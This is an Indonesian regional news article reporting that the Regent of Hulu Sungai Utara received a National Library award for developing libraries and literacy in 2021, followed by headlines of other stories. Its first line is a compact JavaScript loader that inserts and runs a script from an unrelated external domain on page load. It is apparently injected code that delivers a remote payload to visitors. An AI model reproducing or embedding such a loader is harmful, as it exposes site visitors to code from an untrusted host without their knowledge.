(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Atas dedikasi dan sumbangsihnya terhadap pengembangan perpustakaan dan pembudayaan kegemaran membaca di daerah, Bupati Hulu Sungai Utara (HSU) Abdul Wahid HK mendapat penghargaan ‘Nugra Jasa Dharma Pustaloka’ kategori Pejabat Publik dari Perpustakaan Nasional (Perpusnas) RI.
Penghargaan tersebut disampaikan melalui kegiatan Gemilang Perpustakaan Nasional Tahun 2021 yang di selenggarakan di Kantor Perpustakaan Nasional RI Jakarta Pusat melalui virtual, Selasa (14/9/2021).
Sebelumnya, penghargaan ini secara simbolis diserahkan Deputi Bidang Pengembangan Sumber Daya Perpustakaan Perpusnas Deni Kurniadi, didamping Kepala Perpustakaan dan Kearsiapan Daerah (Dispersip) HSU Hj Lailatannur Raudah ke Gedung Layanan Perpusnas RI, Kamis (9/9/2021) lalu.
Kepala Perpustakaan Nasional RI Muhammad Syarif Bando mengatakan, peran perpustakaan sangat penting, apalagi di era pandemi Covid-19 ini. Dalam beberapa tahun ini peran pemerintah daerah Gubernur, Bupati dan Wali Kota sudah semakin berpihak dalam kebijakan pengembangan perpustakaan.
Baca juga : Boyong Tiga Penghargaan dari Perpusnas RI, Kalsel Diberi IPL Tertinggi se Indonesia
Perpustakaan Nasional juga mewajibkan dibidang perpustakaan mengacu visi Presiden 2020-2024 yaitu peningkatan kualitas sumber daya manusia, terutama peningkatan literasi.
“Tanpa visi, tanpa strategi dan eksekusi maka kita akan terus terbelakang,” tegas Syarif Bando.
Sementara itu, Bupati Wahid mengungkapkan rasa syukur atas keberhasilannya mendapatkan penghargaan tertinggi dari Perpustakaan Nasional.
Ia menyebutkan, dari 416 Kabupaten di Indonesia, hanya tiga bupati yang mendapatkan penghargaan tersebut, yaitu Bupati HSU, Bupati Magetan dan Bupati Lampung Barat.
Baca juga : 19 Personel Polsek Banjarmasin Selatan Lakukan Tes Urine
“Penghargaan ini tentunya merupakan kebanggaan tersendiri bagi saya selaku Bupati HSU dan juga bagi masyarakat HSU, apalagi penghargaan ini diberikan di tengah pandemi Covid-19, yang menunjukkan bahwa meski di tengah pandemi, kita masih tetap mampu meningkatkan kinerja dan meraih prestasi dengan tetap memperhatikan dan menerapkan protokol kesehatan”. kata Wahid.
Ia juga mengucap terima kasihnya kepada Perpusnas RI atas arahan, bimbingan, dan bantuan. Juga Kepala Dinas Perpustakaan dan Arsip Daerah beserta seluruh jajaran dan juga stakeholder dan masyarakat HSU.
“Saat ini Perpustakaan Kabupaten HSU sudah terakreditasi A, begitu juga perpustakaan SMK Shalatiyah Bitin terakreditasi A, perpustakaan HSU juga penyumbang terbesar Indeks Pembangunan Literasi Masyarakat (IPLM) Kalimantan Selatan,” pungkasnya.
Sekedar informasi, anugerah Nugra Jasa Dharma Pustaloka sendiri merupakan bentuk penghargaan tertinggi yang diberikan Perpustakaan Nasional RI (Perpusnas) kepada pihak-pihak yang dianggap memberikan kontribusi besar bagi pengembangan perpustakaan, literasi dan minat baca di daerahnya. (kanalkalimantan.com/dew)
Reporter : dew
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
This website uses cookies.